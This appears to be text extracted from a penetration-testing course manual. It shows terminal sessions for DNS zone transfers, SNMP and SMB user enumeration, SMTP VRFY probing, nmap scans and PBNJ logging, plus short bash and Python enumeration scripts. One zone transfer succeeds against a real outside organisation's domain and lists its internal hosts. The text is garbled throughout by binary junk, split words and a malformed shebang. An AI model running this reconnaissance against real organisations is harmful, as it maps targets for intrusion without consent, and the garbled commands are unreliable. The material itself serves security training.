cpi-s.checkpoint.com. 

emma1-s.checkpoint.com. 

emma2-s.checkpoint.com. 

emma-clus-s.checkpoint.com. 

dyn32-88.checkpoint.com. 

harmetz.checkpoint.com. 

sills.checkpoint.com. 

sills.checkpoint.com. 

imap1.checkpoint.com. 

... 

dyn32-116.checkpoint.com. 
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root@bt:~# host -t ns offensive-security.com 

offensive-security.com name server ns4.no-ip.com. 

offensive-security.com name server ns5.no-ip.com. 

offensive-security.com name server ns3.no-ip.com. 

offensive-security.com name server ns1.no-ip.com. 

offensive-security.com name server ns2.no-ip.com. 

root@bt:~# 
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root@bt:~# host -l offensive-security.com ns4.no-ip.com 

; Transfer failed. 

Using domain server: 

Name: ns4.no-ip.com 

Address: 75.102.60.46#53 

; Transfer failed. 

root@bt:~# 
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root@bt:~# host -t ns aeoi.org.ir 

aeoi.org.ir name server sahand1.aeoi.org.ir. 

root@bt:~# host -l aeoi.org.ir sahand1.aeoi.org.ir 

Using domain server: 

Name: sahand1.aeoi.org.ir 

Address: 217.218.11.162#53 

Aliases: 

aeoi.org.ir name server sahand1.aeoi.org.ir. 
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basij.aeoi.org.ir has address 217.218.11.167 

emailserver.aeoi.org.ir has address 217.218.11.169 

inis.aeoi.org.ir has address 217.218.11.164 

inra.aeoi.org.ir has address 217.218.11.167 

mail.aeoi.org.ir has address 217.218.11.169 

nepton2.aeoi.org.ir has address 217.218.11.167 

ns3.aeoi.org.ir has address 217.218.11.162 

ns4.aeoi.org.ir has address 217.218.11.163 

sahand1.aeoi.org.ir has address 217.218.11.162 

simorgh.aeoi.org.ir has address 217.218.11.171 

tamas.aeoi.org.ir has address 217.218.11.166 

www.aeoi.org.ir has address 80.191.7.220 

root@bt:~#  
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#/bin/bash 

# Simple Zone Transfer Bash Script 

# $1 is the first argument given after the bash scr ipt 

 

# Check if argument was given, if not, print usage 

if [ -z "$1" ]; then 

echo "[*] Simple Zone transfer script" 

echo "[*] Usage   : $0 <domain name> " 

echo "[*] Example : $0 aeoi.org.ir " 

exit 0 

fi 

 

# if argument was given, identify the DNS servers f or the domain 

for server in $(host -t ns $1 |cut -d" " -f4);do 

# For each of these servers, attempt a zone transfe r 

host -l $1 $server |grep "has address" 

done 
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root@bt:/pentest/enumeration/dnsenum# ./dnsenum.pl  

dnsenum.pl VERSION:1.2 

Usage: dnsenum.pl [Options] <domain> 

[Options]: 

Note: the brute force -f switch must be specified t o be able to continue the process execution. 

GENERAL OPTIONS: 

  --dnsserver   <server> 

                        Use this DNS server for A, NS and MX queries. 

  --enum                Shortcut option equivalent to --threads 5 -s 20 -w. 

  -h, --help            Print this help message. 

  --noreverse           Skip the reverse lookup ope rations. 

  --private             Show and save private ips a t the end of the file domain_ips.txt. 

  --subfile <file>      Write all valid subdomains to this file. 

  -t, --timeout <value> The tcp and udp timeout val ues in seconds (default: 10s). 

  --threads <value>     The number of threads that will perform different queries. 

  -v, --verbose         Be verbose: show all the pr ogress and all the error messages. 

GOOGLE SCRAPING OPTIONS: 

  -p, --pages <value>   The number of google search  pages to process when 

                         scraping names, the defaul t is 20 pages, 

                         the -s switch must be spec ified. 

  -s, --scrap <value>   The maximum number of subdo mains that will be scraped 

                         from google. 

BRUTE FORCE OPTIONS: 

  -f, --file <file>     Read subdomains from this f ile to perform brute force. 

  -u, --update  <a|g|r|z> 

                        Update the file specified w ith the -f switch with vaild subdomains. 

        a (all)         Update using all results. 

        g               Update using only google sc raping results. 

        r               Update using only reverse l ookup results. 

        z               Update using only zonetrans fer results. 

  -r, --recursion       Recursion on subdomains, br ute force all discovered 

                         subdomains that have an NS  record. 
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WHOIS NETRANGE OPTIONS: 

  -d, --delay <value>   The maximum value of second s to wait between whois 

                         queries, the value is defi ned randomly, default: 3s. 

  -w, --whois           Perform the whois queries o n c class network ranges. 

                         **Warning**: this can gene rate very large netranges 

                         and it will take lot of ti me to perform reverse 

                         lookups. 

REVERSE LOOKUP OPTIONS: 

  -e, --exclude <regexp> 

                        Exclude PTR records that ma tch the regexp expression 

                         from reverse lookup result s, useful on invalid 

                         hostnames. 

root@bt:/pentest/enumeration/dnsenum# 
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ALERT!  – DO NOT EXTEND THIS EXCERCISE BY SCANNING OR PERFORMING ANY 

ILLEGAL OPERATIONS ON THE ORGANIZATION CHOSEN. STICK TO THE EXCERCISE! 
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root@bt:~# snmpwalk -c public -v1 <ip address> 1  

���%�����%��*
��
�������H�%���"
����������%�������� "*�������%��*������������
�������
���%��K���	������ ��

��������������������
�������
�	���������1�

bt snmpenum # snmpwalk -c public -v1 192.168.0.110 SNMPv2-MIB::sy sDescr.0 

SNMPv2-MIB::sysDescr.0 = STRING: Hardware: x86 Fami ly 15 Model 4 Stepping 8 AT/AT COMPATIBLE -  
Software: Windows 2000 Version 5.0 (Build 2195 Unip rocessor Free) 

bt snmpenum #                   

����.�2���	������������#��:�	���

bt # snmpwalk -c public -v1 192.168.0.110 1.3 |grep 77.1 .2.25 |cut -d" " -f4 

"Guest" 

"Administrator" 

"IUSR_WIN2KSP4" 

"IWAM_WIN2KSP4" 

"TsInternetUser" 

"NetShowServices" 

bt #  

������2���	�������+��������	���"	��

bt # snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWRu nName|cut -d" " -f4 

"System 

"System" 

"smss.exe" 

"csrss.exe" 

"winlogon.exe" 

"cmd.exe" 

"services.exe" 

"lsass.exe" 

"svchost.exe" 
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"SPOOLSV.EXE" 

"VMwareTray.exe" 

"msdtc.exe" 

"explorer.exe" 

"svchost.exe" 

"llssrv.exe" 

"NSPMON.exe" 

"NSCM.exe" 

"regsvc.exe" 

"mstask.exe" 

"snmp.exe" 

"VMwareService.e" 

"svchost.exe" 

"inetinfo.exe" 

"nspm.exe" 

"NSUM.exe" 

"wuauclt.exe" 

"VMwareUser.exe" 

"dfssvc.exe" 

bt snmpenum # 

������2���	���������	����������� �

bt # snmpwalk -c public -v1 192.168.0.110 1 |grep tcpCon nState |cut -d"." -f6 |sort -nu 

21 

25 

80 

119 

135 

139 

... 

7778 

8328 
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bt snmpenum # snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWIn stalledName 

HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: " WebFldrs" 

HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: " VMware Tools" 

bt snmpenum #                                                                     
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root@bt:enumeration/snmp/snmpenum# ./snmpenum.pl 192.168.9.220 public windows.txt  

---------------------------------------- 

        INSTALLED SOFTWARE 

---------------------------------------- 

freeSSHd 1.2.1 

GuildFTPd FTP Deamon 

MailEnable Messaging Services for Windows NT/2000 

VMware Tools 

---------------------------------------- 

        UPTIME 

---------------------------------------- 

5 days, 05:33:51.81 

---------------------------------------- 

        HOSTNAME 

---------------------------------------- 

MASTER 

---------------------------------------- 

        USERS 

---------------------------------------- 

bob 

lab 

tom 

john 

lisa 
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mark 

... 

backup 

krbtgt 

Administrator 

---------------------------------------- 

        DISKS 

---------------------------------------- 

A:\ 

C:\ Label:  Serial Number e46bf3ef 

Virtual Memory 

Physical Memory 

 

 

---------------------------------------- 

        RUNNING PROCESSES 

---------------------------------------- 

System Idle Process 

System 

svchost.exe 

smss.exe 

... 

GuildFTPd.exe 

csrss.exe 

rdpclip.exe 

---------------------------------------- 

        LISTENING UDP PORTS 

---------------------------------------- 

161 

445 

500 

1030 
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... 

---------------------------------------- 

        SYSTEM INFO 

---------------------------------------- 

Hardware: x86 Family 6 Model 7 Stepping 10 AT/AT CO MPATIBLE - Software: Windows Version 5.2 (Build 379 0 
Uniprocessor Free) 

---------------------------------------- 

        LISTENING TCP PORTS 

---------------------------------------- 

21 

25 

53 

88 

110 

... 

3268 

3269 

3389 

60000 

---------------------------------------- 

        SERVICES 

---------------------------------------- 

Event Log 

GuildFTPD 

... 

Network Location Awareness (NLA) 

Windows Management Instrumentation 

---------------------------------------- 

        DOMAIN 

---------------------------------------- 

ERROR: Received genError(5) error-status at error-i ndex 1 

root@bt:/pentest/enumeration/snmp/snmpenum# 
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bt # nc -nv 192.168.0.10 25 

(UNKNOWN) [192.168.0.10] 25 (smtp) open 

220 gentoo.pwnsauce.local ESMTP Sendmail 8.13.7/8.1 3.7; Fri, 27 Oct 2006 14:53:15 +0200 

VRFY muts 

550 5.1.1 muts... User unknown 

VRFY root 

250 2.1.5 root <root@gentoo.pwnsauce.local> 

VRFY test 

550 5.1.1 test... User unknown 

 punt! 

bt # 
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#!/usr/bin/python 

import socket 

import sys 

if len(sys.argv) != 2: 
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        print "Usage: vrfy.py <username>" 

        sys.exit(0) 

 

# Create a Socket 

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

# Connect to the Server 

connect=s.connect(('192.168.0.10',25)) 

# Receive the banner 

banner=s.recv(1024) 

print banner 

# VRFY a user 

s.send('VRFY ' + sys.argv[1] + '\r\n') 

result=s.recv(1024) 

print result 

# Close the socket 

s.close() 

�
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root@bt:~# samrdump.py 192.168.2.102 

Retrieving endpoint list from 192.168.2.102 

Trying protocol 445/SMB... 

Found domain(s): 

 . 97DACBEC7CA4483 

 . Builtin 

Looking up users  in domain 97DACBEC7CA4483 

Found user: Administrator, uid = 500 

Found user: Guest, uid = 501 

Found user: IUSR_WIN2KSP4, uid = 1003 

Found user: IWAM_WIN2KSP4, uid = 1004 

Found user: NetShowServices, uid = 1001 

Found user: TsInternetUser, uid = 1000 

Administrator (500)/Enabled: true 

Administrator (500)/PWD Must Change: Infinity 

Administrator (500)/Group id: 513 

Administrator (500)/Bad pwd count: 0 

Administrator (500)/Logon count: 9 

Administrator (500)/Profile: 

Administrator (500)/Comment: 

Administrator (500)/Logon hours: Unlimited 

Administrator (500)/Workstations: 

Administrator (500)/Description: Built-in account f or administration 
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Administrator (500)/Parameters: 

Administrator (500)/Script: 

Administrator (500)/Home Drive: 

Administrator (500)/Account Name: Administrator 

Administrator (500)/Home: 

Administrator (500)/Full Name: 

Guest (501)/Enabled: false 

Guest (501)/PWD Must Change: Infinity 

Guest (501)/Group id: 513 

Guest (501)/Bad pwd count: 0 

Guest (501)/Logon count: 0 

Guest (501)/Profile: 

Guest (501)/Comment: 

Guest (501)/Logon hours: Unlimited 

Guest (501)/Workstations: 

Guest (501)/Description: Built-in account for guest  access to the computer/domain 

Guest (501)/Parameters: 

Guest (501)/Script: 

Guest (501)/Home Drive: 

Guest (501)/Account Name: Guest 

Guest (501)/Home: 

Guest (501)/Full Name: 

IUSR_WIN2KSP4 (1003)/Enabled: true 

IUSR_WIN2KSP4 (1003)/PWD Must Change: Infinity 

IUSR_WIN2KSP4 (1003)/Group id: 513 

IUSR_WIN2KSP4 (1003)/Bad pwd count: 0 

IUSR_WIN2KSP4 (1003)/Logon count: 0 

IUSR_WIN2KSP4 (1003)/Profile: 

IUSR_WIN2KSP4 (1003)/Comment: Built-in account for anonymous access to IIS 
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IUSR_WIN2KSP4 (1003)/Logon hours: Unlimited 

IUSR_WIN2KSP4 (1003)/Workstations: 

IUSR_WIN2KSP4 (1003)/Description: Built-in account for IIS 

IUSR_WIN2KSP4 (1003)/Parameters: 

IUSR_WIN2KSP4 (1003)/Script: 

IUSR_WIN2KSP4 (1003)/Home Drive: 

IUSR_WIN2KSP4 (1003)/Account Name: IUSR_WIN2KSP4 

IUSR_WIN2KSP4 (1003)/Home: 

IUSR_WIN2KSP4 (1003)/Full Name: Internet Guest Acco unt 

IWAM_WIN2KSP4 (1004)/Enabled: true 

IWAM_WIN2KSP4 (1004)/PWD Must Change: Infinity 

IWAM_WIN2KSP4 (1004)/Group id: 513 

IWAM_WIN2KSP4 (1004)/Bad pwd count: 0 

IWAM_WIN2KSP4 (1004)/Logon count: 0 

IWAM_WIN2KSP4 (1004)/Profile: 

IWAM_WIN2KSP4 (1004)/Comment: Built-in account for IIS 

IWAM_WIN2KSP4 (1004)/Logon hours: Unlimited 

IWAM_WIN2KSP4 (1004)/Workstations: 

IWAM_WIN2KSP4 (1004)/Description: Built-in account for IIS 

IWAM_WIN2KSP4 (1004)/Parameters: 

IWAM_WIN2KSP4 (1004)/Script: 

IWAM_WIN2KSP4 (1004)/Home Drive: 

IWAM_WIN2KSP4 (1004)/Account Name: IWAM_WIN2KSP4 

IWAM_WIN2KSP4 (1004)/Home: 

IWAM_WIN2KSP4 (1004)/Full Name: Launch IIS Process Account 

NetShowServices (1001)/Enabled: true 

NetShowServices (1001)/PWD Must Change: Infinity 

NetShowServices (1001)/Group id: 513 

NetShowServices (1001)/Bad pwd count: 0 
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NetShowServices (1001)/Logon count: 36 

NetShowServices (1001)/Profile: 

NetShowServices (1001)/Comment: Windows Media servi ces run under this account 

NetShowServices (1001)/Logon hours: Unlimited 

NetShowServices (1001)/Workstations: 

NetShowServices (1001)/Description: Windows Media s ervices run under this account 

NetShowServices (1001)/Parameters: 

NetShowServices (1001)/Script: 

NetShowServices (1001)/Home Drive: 

NetShowServices (1001)/Account Name: NetShowService s 

NetShowServices (1001)/Home: 

NetShowServices (1001)/Full Name: Windows Media Ser vices run under this account 

TsInternetUser (1000)/Enabled: true 

TsInternetUser (1000)/PWD Must Change: Infinity 

TsInternetUser (1000)/Group id: 513 

TsInternetUser (1000)/Bad pwd count: 0 

TsInternetUser (1000)/Logon count: 0 

TsInternetUser (1000)/Profile: 

TsInternetUser (1000)/Comment: 

TsInternetUser (1000)/Logon hours: Unlimited 

TsInternetUser (1000)/Workstations: 

TsInternetUser (1000)/Description: This user accoun t is used by Terminal Services.  

TsInternetUser (1000)/Parameters: 

TsInternetUser (1000)/Script: 

TsInternetUser (1000)/Home Drive: 

TsInternetUser (1000)/Account Name: TsInternetUser 

TsInternetUser (1000)/Home: 

TsInternetUser (1000)/Full Name: TsInternetUser 

Received 6 entries. 
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root@bt:~# nc -vv -z -w2 192.168.0.10 24-26 

192.168.0.10: inverse host lookup failed: Unknown h ost 

(UNKNOWN) [192.168.0.10] 26 (?) : Connection refuse d 

(UNKNOWN) [192.168.0.10] 25 (smtp) open 

(UNKNOWN) [192.168.0.10] 24 (?) : Connection refuse d 

root@bt:~#                                         
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root@bt:~# nmap 192.168.0.110 

 

Starting Nmap 5.21 ( http://www.insecure.org/nmap/ ) at 2010-10-28 16:24 GMT 

Interesting ports on 192.168.0.110: 

Not shown: 1664 closed ports 

PORT     STATE SERVICE 

21/tcp   open  ftp 

25/tcp   open  smtp 

80/tcp   open  http 

119/tcp  open  nntp 

135/tcp  open  msrpc 

139/tcp  open  netbios-ssn 

443/tcp  open  https 

445/tcp  open  microsoft-ds 

563/tcp  open  snews 

... 

7007/tcp open  afs3-bos 

MAC Address: 00:0C:29:C6:B3:23 (VMware) 

 

Nmap finished: 1 IP address (1 host up) scanned in 1.524 seconds 

root@bt:~#  
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root@bt:~# nmap -p 1-65535 192.168.0.110 

Starting Nmap 5.21 ( http://www.insecure.org/nmap/ ) at 2010-10-28 16:28 GMT 

Interesting ports on 192.168.0.110: 

Not shown: 65517 closed ports 

PORT      STATE SERVICE 

21/tcp    open  ftp 

25/tcp    open  smtp 

80/tcp    open  http 

119/tcp   open  nntp 

135/tcp   open  msrpc 

139/tcp   open  netbios-ssn 

443/tcp   open  https 

445/tcp   open  microsoft-ds 

563/tcp   open  snews 

... 

7007/tcp open  afs3-bos 

8328/tcp  open  unknown 

30001/tcp open  unknown 

50203/tcp open  unknown 

MAC Address: 00:0C:29:C6:B3:23 (VMware) 

 

Nmap finished: 1 IP address (1 host up) scanned in 3.627 seconds 

root@bt:~#                      
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root@bt:~# nmap -p 139 192.168.0.* 

 

Starting Nmap 5.21 ( http://www.insecure.org/nmap/ ) at 2010-10-28 16:48 GMT 

Interesting ports on 192.168.0.1: 

PORT    STATE SERVICE 

139/tcp open  netbios-ssn 

MAC Address: 00:50:04:70:E9:D4 (3com) 

 

Interesting ports on 192.168.0.3: 

PORT    STATE SERVICE 

139/tcp open  netbios-ssn 

MAC Address: 00:14:85:24:2B:15 (Giga-Byte) 

 

Interesting ports on 192.168.0.10: 

PORT    STATE  SERVICE 

139/tcp closed netbios-ssn 

MAC Address: 00:0D:61:43:45:46 (Giga-Byte Technolog y Co.) 

 

Interesting ports on 192.168.0.75: 

PORT    STATE SERVICE 

139/tcp open  netbios-ssn 

MAC Address: 00:0C:29:BC:09:A4 (VMware) 

 

Interesting ports on 192.168.0.110: 

PORT    STATE SERVICE 

139/tcp open  netbios-ssn 

MAC Address: 00:0C:29:C6:B3:23 (VMware) 
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Interesting ports on 192.168.0.143: 

PORT    STATE  SERVICE 

139/tcp closed netbios-ssn 

 

Interesting ports on 192.168.0.157: 

PORT    STATE SERVICE 

139/tcp open  netbios-ssn 

MAC Address: 00:0C:29:41:40:45 (VMware) 

 

Nmap finished: 256 IP addresses (7 hosts up) scanne d in 17.842 seconds 

root@bt:~#                              
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root@bt:~# nmap -p 139 192.168.0.* -oG 139.txt 

root@bt:~# cat 139.txt 

Nmap 4.50 scan initiated Sat Oct 28 16:49:37 2006 a s: Nmap-p 139 -oG 139.txt 192.168.0.* 

Host: 192.168.0.1 ()    Ports: 139/open/tcp//netbio s-ssn/// 

Host: 192.168.0.3 ()    Ports: 139/open/tcp//netbio s-ssn/// 

Host: 192.168.0.10 ()   Ports: 139/closed/tcp//netb ios-ssn/// 

Host: 192.168.0.75 ()   Ports: 139/open/tcp//netbio s-ssn/// 

Host: 192.168.0.110 ()  Ports: 139/open/tcp//netbio s-ssn/// 

Host: 192.168.0.143 ()  Ports: 139/closed/tcp//netb ios-ssn/// 

Host: 192.168.0.157 ()  Ports: 139/open/tcp//netbio s-ssn/// 

Nmap run completed -- 256 IP addresses (7 hosts up)  scanned in 17.646 seconds 

root@bt:~# cat 139.txt |grep open |cut -d" " -f2 

192.168.0.1 

192.168.0.3 

192.168.0.75 

192.168.0.110 

192.168.0.157 

root@bt:~#  
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root@bt:~# nmap -O 192.168.0.1 

Starting Nmap 5.21 ( http://www.insecure.org/nmap/ ) at 2010-10-28 17:00 GMT 

Interesting ports on 192.168.0.1: 

Not shown: 1674 closed ports 

PORT     STATE SERVICE 

21/tcp   open  ftp 

135/tcp  open  msrpc 

139/tcp  open  netbios-ssn 

445/tcp  open  microsoft-ds 

1025/tcp open  NFS-or-IIS 

3389/tcp open  ms-term-serv 

MAC Address: 00:50:04:70:E9:D4 (3com) 

Device type: general purpose 

Running: Microsoft Windows 2003/.NET 

OS details: Microsoft Windows 2003 Server SP1 

Nmap finished: 1 IP address (1 host up) scanned in 16.522 seconds 

root@bt:~#  
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root@bt:~# nmap -sV 192.168.182.129  

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-1 1 12:12 EST 

... 

Host is up (0.00021s latency). 

Not shown: 994 closed ports 

PORT     STATE SERVICE       VERSION 

80/tcp   open  http          Apache httpd 2.2.14 (( Win32) DAV/2 mod_autoindex_color PHP/5.3.1) 

135/tcp  open  msrpc         Microsoft Windows RPC 

139/tcp  open  netbios-ssn 

445/tcp  open  microsoft-ds  Microsoft Windows XP m icrosoft-ds 

3306/tcp open  mysql         MySQL (unauthorized) 

3389/tcp open  microsoft-rdp Microsoft Terminal Ser vice 

MAC Address: 00:0C:29:CB:F2:D3 (VMware) 

Service Info: OS: Windows 

Service detection performed. Please report any inco rrect results at http://nmap.org/submit/ . 

Nmap done: 1 IP address (1 host up) scanned in 9.45  seconds 

root@bt:~# nmap -A 192.168.182.129 

Starting Nmap 5.20 ( http://nmap.org ) at 2010-03-1 1 12:12 EST 

PORT     STATE SERVICE       VERSION 

80/tcp   open  http          Apache httpd 2.2.14 (( Win32) DAV/2 mod_autoindex_color PHP/5.3.1) 

|_html-title: Offensive Security 

135/tcp  open  msrpc         Microsoft Windows RPC 

139/tcp  open  netbios-ssn 

445/tcp  open  microsoft-ds  Microsoft Windows XP m icrosoft-ds 

3306/tcp open  mysql         MySQL (unauthorized) 

3389/tcp open  microsoft-rdp Microsoft Terminal Ser vice 

MAC Address: 00:0C:29:CB:F2:D3 (VMware) 

Device type: general purpose 
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Running: Microsoft Windows XP|2003 

OS details: Microsoft Windows XP Professional SP2 o r Windows Server 2003 

Network Distance: 1 hop 

Service Info: OS: Windows 

 

Host script results: 

|_nbstat: NetBIOS name: XP-LAB-00, NetBIOS user: <u nknown>, NetBIOS MAC: 00:0c:29:cb:f2:d3 

|_smbv2-enabled: Server doesn't support SMBv2 proto col 

| smb-os-discovery: 

|   OS: Windows XP (Windows 2000 LAN Manager) 

|   Name: WORKGROUP\XP-LAB-00 

|_  System time: 2010-03-11 12:12:53 UTC+2 

HOP RTT     ADDRESS 

1   0.25 ms 192.168.182.129 

OS and Service detection performed. Please report a ny incorrect results at http://nmap.org/submit/ . 

Nmap done: 1 IP address (1 host up) scanned in 20.8 4 seconds 

root@bt:~# 
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root@bt:~# locate *.nse  

/usr/share/nmap/scripts/asn-query.nse 

/usr/local/share/nmap/scripts/auth-owners.nse 

/usr/local/share/nmap/scripts/auth-spoof.nse 

/usr/local/share/nmap/scripts/banner.nse 

... 

/usr/local/share/nmap/scripts/smb-brute.nse 

/usr/local/share/nmap/scripts/smb-check-vulns.nse 
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/usr/local/share/nmap/scripts/smb-enum-domains.nse 

/usr/local/share/nmap/scripts/smb-enum-groups.nse 

/usr/local/share/nmap/scripts/smb-enum-processes.ns e 

/usr/local/share/nmap/scripts/smb-enum-sessions.nse  

/usr/local/share/nmap/scripts/smb-enum-shares.nse 

/usr/local/share/nmap/scripts/smb-enum-users.nse 

/usr/local/share/nmap/scripts/smb-os-discovery.nse 

/usr/local/share/nmap/scripts/smb-psexec.nse 

/usr/local/share/nmap/scripts/smb-security-mode.nse  

/usr/local/share/nmap/scripts/smb-server-stats.nse 

/usr/local/share/nmap/scripts/smb-system-info.nse 

/usr/local/share/nmap/scripts/smbv2-enabled.nse 

/usr/local/share/nmap/scripts/smtp-commands.nse 

/usr/local/share/nmap/scripts/smtp-open-relay.nse 

/usr/local/share/nmap/scripts/smtp-strangeport.nse 

/usr/local/share/nmap/scripts/sniffer-detect.nse 

/usr/local/share/nmap/scripts/snmp-brute.nse 

/usr/local/share/nmap/scripts/snmp-sysdescr.nse 

/usr/local/share/nmap/scripts/socks-open-proxy.nse 

/usr/local/share/nmap/scripts/sql-injection.nse 

/usr/local/share/nmap/scripts/ssh-hostkey.nse 

/usr/local/share/nmap/scripts/sshv1.nse 

/usr/local/share/nmap/scripts/ssl-cert.nse 

/usr/local/share/nmap/scripts/sslv2.nse 

/usr/local/share/nmap/scripts/telnet-brute.nse 

/usr/local/share/nmap/scripts/upnp-info.nse 

/usr/local/share/nmap/scripts/whois.nse 

/usr/local/share/nmap/scripts/x11-access.nse 

root@bt:~# 
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root@bt:~# nmap 192.168.11.221 --script smb-enum-users.nse  

 

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-1 1 12:35 EST 

NSE: Script Scanning completed. 

Nmap scan report for 192.168.11.221 

... 

135/tcp  open  msrpc 

139/tcp  open  netbios-ssn 

389/tcp  open  ldap 

445/tcp  open  microsoft-ds 

... 

MAC Address: 00:50:56:BC:57:D9 (VMware) 

Host script results: 

| smb-enum-users: 

|   OFFSECLABS\Administrator (RID: 500) 

|   OFFSECLABS\BOB$ (RID: 1104) 

|   OFFSECLABS\Guest (RID: 501) 

|   OFFSECLABS\GUESTS$ (RID: 1112) 

|   OFFSECLABS\IUSR_WIN-HS8GZGTAPBH (RID: 1105) 

|   OFFSECLABS\krbtgt (RID: 502) 

|   OFFSECLABS\nina (RID: 1110) 

|   OFFSECLABS\OFFSEC-Z4ZXVOTK$ (RID: 1111) 

|_  OFFSECLABS\WIN-HS8GZGTAPBH$ (RID: 1000) 

Nmap done: 1 IP address (1 host up) scanned in 6.72  seconds 

 

root@bt:~# nmap 192.168.11.221 --script smb-check-vulns.nse 

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-1 1 12:36 EST 

NSE: Script Scanning completed. 

Nmap scan report for 192.168.11.221 

... 

135/tcp  open  msrpc 

139/tcp  open  netbios-ssn 
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389/tcp  open  ldap 

445/tcp  open  microsoft-ds 

464/tcp  open  kpasswd5 

593/tcp  open  http-rpc-epmap 

636/tcp  open  ldapssl 

1025/tcp open  NFS-or-IIS 

1027/tcp open  IIS 

1041/tcp open  unknown 

MAC Address: 00:50:56:BC:57:D9 (VMware) 

 

Host script results: 

| smb-check-vulns: 

|   MS08-067: VULNERABLE 

|   Conficker: Likely CLEAN 

|   regsvc DoS: CHECK DISABLED (add '--script-args= unsafe=1' to run) 

|_  SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run) 

 

Nmap done: 1 IP address (1 host up) scanned in 2.55  seconds 

root@bt:~# 
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root@bt:~# /etc/init.d/mysql start  

Starting MySQL database server: mysqld. 

Checking for corrupt, not cleanly closed and upgrad e needing tables. 

root@bt:~# netstat -antp |grep 3306 

tcp        0      0 127.0.0.1:3306          0.0.0.0 :*               LISTEN      13045/mysqld 

root@bt:~# mysql -u root -ptoor  

Welcome to the MySQL monitor.  Commands end with ; or \g. 

Your MySQL connection id is 28 

Server version: 5.0.67-0ubuntu6 (Ubuntu) 

Type 'help;' or '\h' for help. Type '\c' to clear t he buffer. 

 

mysql> CREATE DATABASE pbnj; 

Query OK, 1 row affected (0.00 sec) 

 

mysql> exit  

Bye 

root@bt:~# mkdir -p /root/.pbnj-2.0 

root@bt:~# cd /root/.pbnj-2.0 

root@bt:~# cp /usr/share/doc/pbnj/examples/mysql.ya ml config.yaml 

root@bt:~# nano config.yaml 
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# YAML:1.0 

# Config for connecting to a DBI database 

# SQLite, mysql etc 

db: mysql 

# for SQLite the name of the file. For mysql the na me of the database. 

database: pbnj 

# Username for the database. For SQLite no username  is needed. 

user: root 

# Password for the database. For SQLite no password  is needed. 

passwd: toor 

# Password for the database. For SQLite no host is needed. 

host: localhost 

# Port for the database. For SQLite no port is need ed. 

port: 3306 

����������"
�*����
����� ���������� 1�

root@bt:~# scanpbnj -a "-sP"  192.168.11.200-250  

-------------------------------------- 

Starting Scan of 192.168.11.245 

Inserting Machine 

Scan Complete for 192.168.11.245 

-------------------------------------- 

-------------------------------------- 

Starting Scan of 192.168.11.201 

Inserting Machine 

Scan Complete for 192.168.11.201 

-------------------------------------- 

... 
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root@bt:~# mysql -u root -ptoor  

Welcome to the MySQL monitor.  Commands end with ; or \g. 

Your MySQL connection id is 34 

Server version: 5.0.67-0ubuntu6 (Ubuntu) 

 

Type 'help;' or '\h' for help. Type '\c' to clear t he buffer. 

 

mysql> use pbnj; 

Reading table information for completion of table a nd column names 

You can turn off this feature to get a quicker star tup with -A 

Database changed 

mysql> show tables;  

+----------------+ 

| Tables_in_pbnj | 

+----------------+ 

| machines       | 

| services       | 

+----------------+ 

2 rows in set (0.00 sec) 

 

mysql> select * from services;  

Empty set (0.00 sec) 

 

mysql> select * from machines;  

+-----+----------------+------+--------+----------- -+-----------------+--------------------------+ 

| mid | ip             | host | localh | os         | machine_created | created_on               | 

+-----+----------------+------+--------+----------- -+-----------------+--------------------------+ 

|   1 | 192.168.11.245 | 0    |      0 | unknown os  | 1268331738      | Thu Mar 11 13:22:18 2010 | 

|   2 | 192.168.11.201 | 0    |      0 | unknown os  | 1268331738      | Thu Mar 11 13:22:18 2010 | 

... 

|  49 | 192.168.11.223 | 0    |      0 | unknown os  | 1268331738      | Thu Mar 11 13:22:18 2010 | 

|  50 | 192.168.11.222 | 0    |      0 | unknown os  | 1268331738      | Thu Mar 11 13:22:18 2010 | 
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|  51 | 192.168.11.235 | 0    |      0 | unknown os  | 1268331738      | Thu Mar 11 13:22:18 2010 | 

+-----+----------------+------+--------+----------- -+-----------------+--------------------------+ 

51 rows in set (0.00 sec) 

 

mysql> exit 

Bye�

�
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root@bt:~# scanpbnj -a "-p 139"  192.168.11.200-250 

-------------------------------------- 

Starting Scan of 192.168.11.245 

Machine is already in the database 

Checking Current Services 

        Inserting Service on 139:tcp netbios-ssn 

Scan Complete for 192.168.11.245 

-------------------------------------- 

... 

-------------------------------------- 

Starting Scan of 192.168.11.235 

Machine is already in the database 

Checking Current Services 

Scan Complete for 192.168.11.235 

-------------------------------------- 

root@bt:~# 
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root@bt:~# mysql -u root -ptoor  

Welcome to the MySQL monitor.  Commands end with ; or \g. 

Your MySQL connection id is 36 

Server version: 5.0.67-0ubuntu6 (Ubuntu) 

 

Type 'help;' or '\h' for help. Type '\c' to clear t he buffer. 

 

mysql> use pbnj;  

Reading table information for completion of table a nd column names 

You can turn off this feature to get a quicker star tup with -A 

 

Database changed 

mysql> select * from services;  

+------+-------------+-------+------+----------+-----------------+-----------------+-----------------+--------------------------+ 

| mid  | service     | state | port | protocol | version         | banner          | machine_updated | updated_on               | 

+------+-------------+-------+------+----------+-----------------+-----------------+-----------------+--------------------------+ 

|    1 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

|    2 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

|    7 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

|   20 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

|   21 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

|   46 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

|   45 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

|   49 | netbios-ssn | up    |  139 | tcp      | unknown version | unknown product | 1268331850      | Thu Mar 11 13:24:10 2010 | 

